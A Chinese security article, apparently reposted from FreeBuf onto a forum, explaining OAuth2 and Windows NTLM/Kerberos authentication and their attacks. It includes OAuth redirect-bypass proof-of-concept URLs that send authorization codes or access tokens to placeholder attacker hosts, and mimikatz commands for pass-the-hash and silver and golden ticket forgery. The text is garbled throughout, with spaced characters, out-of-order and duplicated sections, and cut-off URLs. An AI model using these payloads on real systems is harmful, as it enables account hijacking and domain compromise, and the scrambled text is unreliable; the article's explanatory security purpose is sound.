用 的 是 A u t h o r i z a t i o n   C o d e ( 授 权 码 模 式 ) 3 . 申 请 的 权 限 范 围 4 . 重 定 向 U R I , 用 户 给 予 授 权 后 , 将 会 携 带 授 权 码 跳 转 到 此 地 址 5 . 这 个 参 数 是 用 来 防 御 C S R F 的 , 你 可 以 将 其 理 解 为 我 们 常 用 的 ” t o k e n ” . 这 里 它 的 使 用 和 ” t o k e n ” 也 是 一 样 的 . 每 次 授 权 请 求 , 客 户 端 都 会 生 成 一 个 s t a t e , 并 将 其 保 存 到 c o o k i e 或 s e s s i o n 中 . 授 权 成 功 后 , 服 务 端 原 样 返 回 s t a t e , 客 户 端 将 其 与 c o o k i e 或 s e s s i o n 中 的 值 进 行 比 对 . 重 定 向   U R I   是 服 务 商 在 用 户 授 权 （ 或 拒 绝 ） 应 用 程 序 之 后 重 定 向 用 户 的 地 址 ， 因 此 也 是 用 于 处 理 授 权 代 码 或 访 问 令 牌 的 应 用 程 序 的 一 部 分 。 在 你 注 册 成 功 之 后 ， 你 会 从 服 务 商 那 获 取 到 你 的 应 用 相 关 的 信 息 ： 1 . 客 户 端 标 识   2 . 客 户 端 密 钥     用 来 表 识 客 户 端 （ 公 开 ） ，   用 来 验 证 客 户 端 身 份 （ 保 密 ） 。 O a u t h 2   常 见 的 四 种 模 式 常 见 的 四 种 模 式 具 体 的 实 现 过 程 可 以 参 看 r f c 文 档 1 . 授 权 码 模 式 2 . 隐 式 模 式 （ 简 化 授 权 码 模 式 ） 3 . 登 陆 模 式 4 . 客 户 端 模 式 O a u t h 安 全 问 题 安 全 问 题 谈 及 O a u t h 的 安 全 问 题 ， 在 了 解 O a u t h 的 认 证 机 制 后 ， 可 以 发 现 其 中 a c c e s s _ t o k e n ， c o d e 这 两 个 值 是 相 当 关 键 的 ， 只 要 我 们 有 办 法 获 取 这 些 值 ， 或 者 直 接 劫 持 用 户 可 以 达 到 攻 击 效 果 。 下 面 是 目 前 比 较 常 见 的 安 全 问 题 。 微 博 开 放 平 台 [ h t t p : / / o p e n . w e i b o . c o m ] ( h t t p : / / o p e n . w e i b o . c o m ) 微 信 开 放 平 台 [ h t t p s : / / o p e n . w e i x i n . q q . c o m ] ( h t t p s : / / o p e n . w e i x i n . q q . c o m ) Q Q 互 联 平 台 [ h t t p s : / / c o n n e c t . q q . c o m ] ( h t t p s : / / c o n n e c t . q q . c o m ) s c o p e r e d i r e c t _ u r i s t a t e c l i e n t _ i d c l i e n t _ s e c r e t c l i e n t _ i d c l i e n t _ s e c r e t
1 . 开 放 的 重 定 向 链 接 模 式 匹 配 开 放 的 重 定 向 链 接 模 式 匹 配 我 们 试 想 客 户 端 在 授 权 开 放 平 台 注 册 的 重 定 向 U R I 不 是 完 全 确 定 的 ， 如 , 。 针 对 这 两 种 注 册 方 式 ， 是 完 全 有 可 能 绕 过 的 下 面 给 出 绕 过 的 p o c （ 假 设 c l i e n t _ i d   =   1 2 3 4 5 6 ） 2 . 认 证 流 混 淆 认 证 流 混 淆 这 其 实 有 点 类 似 于 中 间 人 劫 持 ， 并 且 要 求 的 条 件 比 较 苛 刻 ， 要 想 实 现 这 种 攻 击 需 要 满 足 三 个 条 件 ： （ 1 ） 隐 式 或 授 权 代 码 授 权 被 用 于 多 个 A S （ 这 里 先 假 设 两 个 ） ， 其 中 一 个 被 认 为 是 “ 真 实 的 ” ( H - A S ) ， 另 一 个 由 攻 击 者 操 作 ( A - A S ) ， （ 2 ） 客 户 端 将 用 户 选 择 的 A S 存 储 在 绑 定 到 用 户 浏 览 器 的 会 话 中 ， 并 对 这 两 个 A S 和 使 用 相 同 的 重 定 向 U R I ， （ 3 ） 攻 击 者 可 以 操 作 从 用 户 浏 览 器 到 客 户 端 的 第 一 个 请 求 / 响 应 对 ( 其 中 用 户 选 择 某 个 A S ， 然 后 由 客 户 端 重 定 向 到 该 A S ) 。 3 . 认 证 信 息 泄 露 （ 认 证 信 息 泄 露 （ a c c e s s   t o k e n ， ， s t a t e ， ， c o d e . . . . . . ） ） 其 实 这 种 攻 击 和 普 通 的 x s s 类 似 ， 只 不 过 将 向 量 换 成 ， 或 者 通 过 嵌 入 i f r a m e 的 方 式 ， 让 认 证 信 息 外 泄 。 或 者 直 接 在 服 务 端 泄 露 a c c e s s _ t o k e n 等 。 4 . 浏 览 器 访 问 历 史 记 录 浏 览 器 访 问 历 史 记 录 一 般 的 O a u t h 实 现 中 ， 由 于 涉 及 浏 览 器 的 重 定 向 ， 参 数 一 般 都 是 直 接 放 在 u r l 上 ， 基 于 这 一 特 性 ， 如 果 有 办 法 直 接 接 触 浏 览 器 的 历 史 记 录 ， 也 是 一 个 不 错 的 方 法 。 不 过 这 种 手 段 有 一 个 局 限 性 ， 那 就 O a u t h 一 般 有 e x p i r e 或 者 放 重 放 机 制 ， 如 果 时 效 性 或 者 防 重 放 做 得 不 好 ， 或 者 使 用 了 隐 式 模 式 也 会 带 来 危 害 。 5 . r e d i r e c t _ u r l   重 定 向 漏 洞 重 定 向 漏 洞 如 果 服 务 器 在 用 户 输 入 的 r e d i r e c t u r l 参 数 上 没 有 做 过 滤 ， 就 会 存 在 重 定 向 漏 洞 ， 结 合 c s r f ， 可 以 让 重 定 向 漏 洞 为 c s r f 或 者 x s s 提 供 跳 板 。 或 者 直 接 输 入 a t t a c k 控 制 的 域 名 ， 在 r e f e r 头 部 获 取 t o k e n 。 注 意 到 在 授 权 码 模 式 下 ， r e d i r e c t u r l 的 处 理 出 现 在 A S 和 c l i e n t 端 ， 所 以 这 两 个 地 方 都 需 要 对 r e d i r e c t u r l 进 行 校 验 过 滤 ， 第 一 处 攻 击 可 以 获 得 t o k e n ， 利 用 获 得 的 t o k e n ， 第 二 次 就 可 以 获 得 a c c e s s t o k e n 。 6 . 不 安 全 的 不 安 全 的 O a u t h 认 证 会 话 认 证 会 话 用 户 在 授 权 的 时 候 需 要 先 认 证 ， 如 果 A S 在 授 权 完 毕 后 不 主 动 注 销 登 陆 会 话 ， 就 会 产 生 会 话 溢 出 。 在 用 户 登 出 请 求 授 权 的 c l i e n t 后 ， A S 处 用 户 的 登 陆 态 仍 旧 保 持 ， 那 么 如 果 浏 览 器 被 人 控 制 的 话 ， 可 以 直 接 获 取 这 一 开 启 的 会 话 。 7 . 账 号 关 联 功 能 账 号 关 联 功 能 C S R F 试 想 一 种 攻 击 场 景 ， 比 如 攻 击 者 在 一 个 网 站 关 联 Q Q 号 ， 那 么 它 截 获 最 后 返 回 a c c e s s _ t o k e n 时 候 的 数 据 包 ， 把 这 个 请 求 作 为 p a y l o a d 诱 使 v i c t i m 访 问 ， 在 v i c t i m 登 陆 了 网 站 的 前 提 下 ， 会 自 动 将 账 号 和 攻 击 者 的 q q 账 号 关 联 。 0 x 0 4   w i n d o w s   认 证 认 证 w i n d o w s 上 的 认 证 大 致 可 以 分 为 两 种 ， 一 是 没 有 加 入 k e r b e r o s 的 工 作 组 概 念 的 基 于 N T L M 协 议 的 认 证 ， 二 是 w i n d o w s 域 环 境 的 下 的 认 证 。 N T L M 认 证 认 证 " h t t p s : / / * . s o m e s i t e . e x a m p l e / * " [ [ h t t p s : / / c l i e n t . s o m e s i t e . e x a m p l e / p a r a m ? ] ( h t t p s : / / c l i e n t . s o m e s i t e . e x a m p l e / p a r a m ? ) ] ( [ h t t p s : / / c l i e n t . s o m e s i t e . e x a m p l e / p a r a m ? ] ( h t t p s : / / c l i e n t . s o m e s i t e . e x a m p l e / p a r a m ? ) ) * 针 对 第 一 种 注 册 重 定 向 链 接 的 模 式 ： 接 管 了 其 子 域 名 的 情 况 下 ， 我 们 可 以 构 造 如 下 u r l 诱 使 客 户 端 访 问 。 但 是 一 般 情 况 下 ， 还 需 要 c l i e n t _ s e c r e t ， 隐 式 模 式 下 完 全 信 任 客 户 端 就 不 再 需 要 c l i e n t _ s e c r e t 获 取 c o d e ， 而 是 直 接 获 取 a c c e s s   t o k e n 。 [ h t t p : / / s e r v e r . s o m e s i t e . e x a m p l e / a u t h o r i z e ? r e s p o n s e _ t y p e = c o d e & c l i e n t _ i d = 1 2 3 4 5 6 & s t a t e = x y z & r e d i r e c t _ u r i = h t t p s % 3 A % 2 F % 2 F e v i l . s o m e s i t e . e x a m p l e % 2 F c b 针 对 第 二 种 注 册 重 定 向 链 接 的 模 式 ， 在 客 户 端 存 在 可 控 的 重 定 向 参 数 ( 这 里 是 r e d i r e c t _ t o ) 的 情 况 下 ， 如 果 O a u t h 采 取 隐 式 模 式 ， 我 们 可 以 直 接 将 a c c e s s _ t o k e n 引 流 至 我 们 服 务 器 [ h t t p : / / s e r v e r . s o m e s i t e . e x a m p l e / a u t h o r i z e ? r e s p o n s e _ t y p e = t o k e n & c l i e n t _ i d = s 6 B h d R k q t 3 & s t a t e = x y z & r e d i r e c t _ u r i = h t t p s % 3 A % 2 F % 2 F c l i e n t . s o m e s i t e . e x a m p l e % 2 F c b % 2 6 r e d i r e c t _ t o % 2 5 3 D h t t p s % 2 5 3 A % 2 5 2 F % 2 5 2 F c l i e n t . e v i l . e x a m p l e % 2 F c d o c u m e n t . c o o k i e w i n d o w . l o c a t i o n . h r e f
第 一 步 , 首 先 在 c l i e n t 输 入 u s e r n a m e , p a s s w o r d 和 d o m a i n , 然 后 c l i e n t 会 把 p a s s w o r d   h a s h 后 的 值 先 缓 存 到 本 地 第 二 步 , 之 后 , c l i e n t 把 u s e r n a m e 的 明 文 发 送 给 s e r v e r ( D C ) 第 三 步 , D C 会 生 成 一 个 1 6 字 节 的 随 机 数 , 即 c h a l l e n g e ( 挑 战 码 ) , 再 传 回 给 c l i e n t 第 四 步 , 当 c l i e n t 收 到 c h a l l e n g e 以 后 , 会 先 复 制 一 份 出 来 , 然 后 和 缓 存 中 的 密 码 h a s h 再 一 同 混 合 h a s h 一 次 , 混 合 后 的 值 称 为 r e s p o n s e , 之 后 c l i e n t 再 将 c h a l l e n g e , r e s p o n s e 及 u s e r n a m e 一 并 都 传 给 s e r v e r 第 五 步 , s e r v e r 端 在 收 到 c l i e n t 传 过 来 的 这 三 个 值 以 后 会 把 它 们 都 转 发 给 D C 第 六 步 , 当 D C 接 到 过 来 的 这 三 个 值 的 以 后 , 会 根 据 u s e r n a m e 到 域 控 的 账 号 数 据 库 ( n t d s . d i t ) 里 面 找 到 该 u s e r n a m e 对 应 的 h a s h , 然 后 把 这 个 h a s h 拿 出 来 和 传 过 来 的 c h a l l e n g e 值 再 混 合 h a s h 第 七 步 , 将 ( 6 ) 中 混 合 后 的 h a s h 值 跟 传 来 的 r e s p o n s e 进 行 比 较 , 相 同 则 认 证 成 功 , 反 之 , 则 失 败 , 当 然 , 如 果 是 本 地 登 录 , 所 有 验 证 肯 定 也 全 部 都 直 接 在 本 地 进 行 了 我 们 可 以 看 到 ， 在 这 个 认 证 中 ， 使 用 到 明 文 密 码 的 地 方 只 有 用 户 登 陆 的 时 候 ， 后 面 使 用 到 的 全 是 密 码 h a s h ， 这 样 一 来 就 产 生 了 一 个 安 全 问 题 ， P T H （ P a s s   T h e   H a s h ） ， 只 要 我 们 拿 到 了 密 码 h a s h 值 就 可 以 直 接 模 拟 用 户 登 陆 。 注 意 到 N T L M 时 基 于 挑 战 的 认 证 协 议 ， 在 认 证 前 ， D C 必 须 有 用 户 密 码 h a s h 的 存 储 ， 否 则 时 不 可 能 在 第 七 部 解 密 成 功 。 当 然 ， 上 面 的 场 景 是 比 较 贴 近 域 的 概 念 ， 使 用 了 中 心 D C 来 存 储 用 户 的 密 码 h a s h 并 且 做 挑 战 校 验 ， 有 一 点 S S O 单 点 的 登 陆 的 意 思 ， 但 是 仔 细 看 会 发 现 少 了 t i c k e t 的 概 念 ， 后 面 会 发 现 域 认 证 是 S S O 单 点 登 陆 的 一 种 具 体 实 现 。 不 过 其 实 很 多 时 候 ， D C 和 S e r v e r 是 同 一 台 机 器 ， 协 议 流 程 和 上 面 一 致 。 k e r b e r o s 认 证 认 证 理 解 k e r b e r o s 认 证 之 前 还 是 先 来 了 解 一 下 相 关 概 念 ： K D C :   K e y   D i s t r i b u t i o n   C e n t e r ， 包 括 三 大 块 （ K A S ， T G S ， 密 码 h a s h 数 据 ） K A S ： K e r b e r o s   A u t h e n t i c a t i o n   S e r v i c e ， 负 责 用 户 认 证 并 签 发 T G T T G S :   T i c k e t   G r a n t i n g   S e r v i c e ， 负 责 认 证 T G T 并 签 发 服 务 票 据 S T T G T :   T i c k e t   G r a n t i n g   T i c k e t ， 包 括 用 户 相 关 信 息 和 L o g o n   S e s s i o n   K e y ( 确 保 该 用 户 和 K D C 之 间 通 信 安 全 的 会 话 秘 钥 ) ， 标 识 认 证 已 完 成 S T :   S e r v i c e   T i c k e t ， 服 务 票 据 ， 用 来 访 问 相 关 服 务 ， 标 识 服 务 已 授 权 。 S T 主 要 包 含 两 方 面 的 内 容 ： 客 户 端 用 户 信 息 和 S e r v i c e   S e s s i o n   K e y ( 保 客 户 端 - 服 务 器 之 间 通 信 安 全 的 会 话 秘 钥 ) ， 并 通 过 被 请 求 服 务 的 服 务 器 密 钥 加 密 。 1 ) 首 先 , 客 户 端 ( c l i e n t ) 将 域 用 户 的 密 码 h a s h 一 次 并 保 存 , 然 后 , 以 此 h a s h 来 作 为 客 户 端 和 K D C 之 间 的 长 期 共 享 密 钥 [ k c ] ( 当 然 , 在 D C 上 也 保 存 着 同 样 的 一 条 h a s h ) 2 ) K R B _ A S _ R E Q ： 客 户 端 ( c l i e n t ) 开 始 利 用 ( 1 ) 中 的 域 用 户 密 码 h a s h 再 把 时 间 戳 , c l i e n t i d , T G S   i d 等 信 息 混 合 h a s h 一 次 , 然 后 向 a s ( 认 证 服 务 器   [ A u t h e n t i c a t i o n   S e r v e r ] ) 服 务 器 进 行 请 求 3 ) K R B _ A S _ R E P ： A S 接 到 该 请 求 后 , 利 用 长 期 共 享 密 钥 ( k c ) 进 行 解 密 , 解 密 成 功 后 , 会 返 回 给 客 户 端 两 个 票 据     1 ) 加 密 的 K ( c , t g s ) ( 用 于 客 户 端 后 续 向 K D C 发 起 请 求 ) , 其 中 c = ( T G S   N a m e / I D , 时 间 戳 等 ) , 该 票 据 由 K c 加 密     2 ) 票 据 授 予 票 据 ( T i c k e t   G r a n t i n g   T i c k e t , 简 称 T G T ) , 该 票 据 是 给 T G S 的 , 票 据 的 内 容 包 括 K ( c , t g s ) , 其 中 c = ( C l i e n t 身 份 信 息 , 域 名 , 时 间 戳 等 ) , 该 票 据 由 T G S 的 秘 钥 加 密 , 只 有 T G S 能 够 解 密 4 ) K R B _ T G S _ R E Q ： 客 户 端 会 利 用 长 期 共 享 密 钥 解 密 k ( c , t g s ) , 并 利 用 该 秘 钥 加 密 生 成 一 个 A u t h e n t i c a t o r , 其 中 c = ( l i f e t i m e , 时 间 戳 , C l i e n t 身 份 信 息 等 ) , 连 同 从 A S 获 取 的 T G T 一 并 发 送 给 T G S 5 ) K R B _ T G S _ R E P T G S ： T G S 利 用 自 身 的 秘 钥 解 密 T G T , 获 取 K ( c , t g s ) , 并 用 K ( c , t g s ) 解 密 客 户 端 发 送 的 A u t h e n t i c a t o r , 对 C l i e n t 进 行 认 证 , 如 果 C l i e n t 通 过 了 认 证 , T G S 随 机 生 成 一 个 S e s s i o n   K e y   K ( c , s ) , 并 产 生 两 个 票 据
关 于 关 于 w i n d o w s 认 证 存 在 的 攻 击 方 式 认 证 存 在 的 攻 击 方 式 通 过 对 上 述 认 证 流 程 的 理 解 ， 我 们 可 以 归 纳 出 w i n d o w s 的 域 认 证 有 以 下 几 个 敏 感 的 特 性 ： 基 于 上 面 说 到 几 个 敏 感 特 性 ， 催 生 了 一 些 域 渗 透 攻 击 手 段 。 P T H （ （ P a s s   T h e   H a s h ） ） 通 过 上 面 对 w i n d o w s 认 证 相 关 的 了 解 ， 我 们 可 以 知 道 在 默 认 的 工 作 组 环 境 中 ， 以 密 码 h a s h 作 为 秘 密 ， 通 过 c h a l l e n g e 机 制 作 为 校 验 通 过 的 依 据 ， 所 以 认 证 的 整 个 过 程 ， 我 们 只 需 要 知 道 用 户 h a s h ， 就 可 以 根 据 协 议 流 程 实 现 特 定 用 户 的 登 陆 。 h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / m i m i k a t z / w i k i / m o d u l e - ~ - s e k u r l s a P T T （ （ P a s s   T h e   T i c k e t ） ） P T T 攻 击 是 基 于 上 述 k e r b e r o s 认 证 协 议 ， 大 致 分 为 白 银 票 据 和 黄 金 票 据 两 种 票 据 伪 造 攻 击 形 式 。 白 银 票 据 ： 知 道 了 服 务 主 机 的 n t l m   h a s h 我 们 可 以 伪 造 S T ， 构 造 K R B A P R E Q 请 求 过 程 ， 让 服 务 端 相 信 我 们 的 S T 是 从 K D C 获 取 的 ， 其 实 我 们 是 通 过 其 N T L M   h a s h 自 己 生 成 的 ， 也 即 我 给 我 自 己 颁 发 了 一 个 合 法 的 S T 。 黄 金 票 据 ： 同 样 的 ， 如 果 我 们 有 能 力 获 取 到 k e r b e r o s 用 户 的 密 码 h a s h ， 那 么 我 们 就 可 以 拥 有 K D C 绝 对 的 权 力 ， 比 如 我 们 可 以 给 自 己 签 发 高 权 限 的 T G T ， 然 后 利 用 构 造 K R B T G S R E Q 请 求 包 获 取 任 意 服 务 的 S T 。 h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / m i m i k a t z / w i k i / m o d u l e - ~ - k e r b e r o s M S 1 4 - 0 6 8 微 软 在 W i n d o w s 平 台 上 的 K e r b e r o s 并 没 有 采 用 M I T 的 实 现 ， 而 是 对 K e r b e r o s 协 议 进 行 了 一 些 扩 充 ， 其 中 最 重 要 的 扩 充 就 是 增 加 了 认 证 过 程 中 的 权 限 认 证 ， 也 就 是 在 协 议 中 增 加 了 P A C （ P r i v i l e g e A t t r i b u t e   C e r t i f i c a t e ） ， 特 权 属 性 证 书 ， 主 要 目 的 就 是 用 来 实 现 权 限 的 A C L 。 正 是 P A C 这 的 加 入 ， 开 发 对 k e r b e r o s 的 实 现 就 出 了 岔 子 。 可 以 造 成 在 客 户 端 K R B A S R E P 步 骤 中 ， 修 改 P A C 从 而 获 得 域 控 权 限 的 T G T 。 具 体 原 理 建 议 移 步 这 篇 文 章 ：   h t t p s : / / w w w . f r e e b u f . c o m / v u l s / 5 6 0 8 1 . h t m l 微 软 漏 洞 申 明 ： h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / s e c u r i t y - u p d a t e s / s e c u r i t y b u l l e t i n s / 2 0 1 4 / m s 1 4 - 0 6 8 通 过 上 述 的 手 段 如 果 发 现 域 控 没 有 安 装 这 一 补 丁 ， 内 网 渗 透 的 路 子 就 会 明 朗 开 来 ， 现 在 已 经 有 不 少 e x e ， 或 者 脚 本 ， 甚 至 在 m s f 里 面 也 有 了 利 用 集 成 。 P y t h o n   S c r i p t M s f   P a y l o a d K e r b e r o a s t i n g 三 好 学 生 前 辈 的 文 章 ， 写 得 已 经 十 分 详 细 。 h t t p s : / / 3 g s t u d e n t . g i t h u b . i o / 3 g s t u d e n t . g i t h u b . i o / % E 5 % 9 F % 9 F % E 6 % B 8 % 9 7 % E 9 % 8 0 % 8 F - K e r b e r o a s t i n g / 参 考 参 考 [ 1 ]   h t t p s : / / t o o l s . i e t f . o r g / h t m l / r f c 7 5 2 2 [ 2 ]   h t t p s : / / t o o l s . i e t f . o r g / h t m l / r f c 6 7 4 9 5 ) K R B _ T G S _ R E P T G S ： T G S 利 用 自 身 的 秘 钥 解 密 T G T , 获 取 K ( c , t g s ) , 并 用 K ( c , t g s ) 解 密 客 户 端 发 送 的 A u t h e n t i c a t o r , 对 C l i e n t 进 行 认 证 , 如 果 C l i e n t 通 过 了 认 证 , T G S 随 机 生 成 一 个 S e s s i o n   K e y   K ( c , s ) , 并 产 生 两 个 票 据     1 ) 服 务 票 据 ( T s ) : 这 是 给 服 务 器 的 服 务 票 据 , 由 S e r v e r 秘 钥 K s 加 密 , 内 容 包 括 ： K ( c , t a g s ) , 其 中 c = ( C l i e n t 身 份 信 息 , S e r v i c e   I D , 时 间 戳 , l i f e t i m e 等 )     2 ) 客 户 端 票 据 ( T c ) ： 该 票 据 由 K ( c , t g s ) 加 密 ， 其 中 c = ( K ( c , s ) , S e r v e r 身 份 信 息 等 ) 6 ) K R B _ A P _ R E Q ： 客 户 端 收 到 t g s 的 回 应 后 , 利 用 K ( c , t g s ) 解 密 T c , 获 取 K ( c , s ) , S e r v e r 身 份 信 息 等 , 并 利 用 K ( c , s ) 加 密 生 成 一 个 A u t h e n t i c a t o r 发 送 给 S e r v e r , 内 容 包 括 : 时 间 戳 , C l i e n t   I D 等 信 息 , 连 同 T s 一 并 发 送 给 S e r v e r 7 ) K R B _ A P _ R E P ： S e r v e r 端 在 收 到 C l i e n t 的 请 求 后 , 利 用 自 身 秘 钥 K s 解 密 T s , 得 到 K ( c , s ) , 再 利 用 K ( c , s ) 解 密 A u t h e n t i c a t o r , 对 C l i e n t 进 行 认 证 , 如 果 认 证 通 过 , 则 表 示 K D C 已 经 允 许 了 此 次 通 信 , 此 时 S e v e r 无 需 与 K D C 通 信 , 因 为 -   N T L M 认 证 中 只 用 到 用 户 密 码 h a s h -   k e r b e r o s 用 户 的 密 码 一 般 很 少 更 改 -   只 要 知 道 k e r b e r o s   用 户 h a s h 就 可 以 签 发 T G T -   只 要 知 道 提 供 服 务 的 主 机 密 码 h a s h ， 就 可 以 签 发 S T -   客 户 端 可 以 随 意 询 问 特 定 服 务 的 T G T -   域 内 的 主 机 都 能 查 询 S P N （ 服 务 标 识 符 ） p r i v i l e g e : : d e b u g s e k u r l s a : : p t h   / u s e r : x x x   / n t l m : x x x ' s   n t l m   h a s h   / d o m a i n : x x x   / r u n : c m d . e x e #   白 银 票 据 m i m i k a t z   “ k e r b e r o s : : g o l d e n   / d o m a i n : < 域 名 >   / s i d : < 域   S I D >   / t a r g e t : < 目 标 服 务 器 主 机 名 >   / s e r v i c e : < 服 务 类 型 >   / r c 4 : < N T L M   H a s h >   / u s e r : < 用 户 名 >   / p t t "   e x i t #   黄 金 票 据 m i m i k a t z   “ k e r b e r o s : : g o l d e n   / d o m a i n : < 域 名 >   / s i d : < 域 S I D >   / r c 4 : < K R B T G T   N T L M   H a s h >   / u s e r : < 任 意 用 户 名 >   / p t t "   e x i t #   域 控 上 获 取 补 丁 修 复 信 息 s y s t e m i n f o   |   f i n d s t r   / i   k b 3 0 1 1 7 8 0
[ 3 ]   h t t p s : / / t o o l s . i e t f . o r g / i d / d r a f t - i e t f - o a u t h - s e c u r i t y - t o p i c s - 0 6 . h t m l [ 4 ]   h t t p s : / / d u o . c o m / b l o g / t h e - b e e r - d r i n k e r s - g u i d e - t o - s a m l [ 5 ]   h t t p : / / a v f i s h e r . w i n / a r c h i v e s / t a g / s a m l [ 6 ]   h t t p : / / b l o g . i n t o t h e s y m m e t r y . c o m / 2 0 1 5 / 1 2 / t o p - 1 0 - o a u t h - 2 - i m p l e m e n t a t i o n . h t m l [ 7 ]   h t t p s : / / l d a p w i k i . c o m / w i k i / O A u t h % 2 0 2 . 0 % 2 0 V u l n e r a b i l i t i e s [ 8 ]   h t t p s : / / w w w . s a n s . o r g / r e a d i n g - r o o m / w h i t e p a p e r s / a p p l i c a t i o n / a t t a c k s - o a u t h - s e c u r e - o a u t h - i m p l e m e n t a t i o n - 3 3 6 4 4 [ 9 ]   h t t p s : / / x z . a l i y u n . c o m / t / 2 4 4 5 * 本 文 作 者 ： 本 文 作 者 ： l i t t l e p o t a t o ， 本 文 属 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 推 荐 阅 读 推 荐 阅 读 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理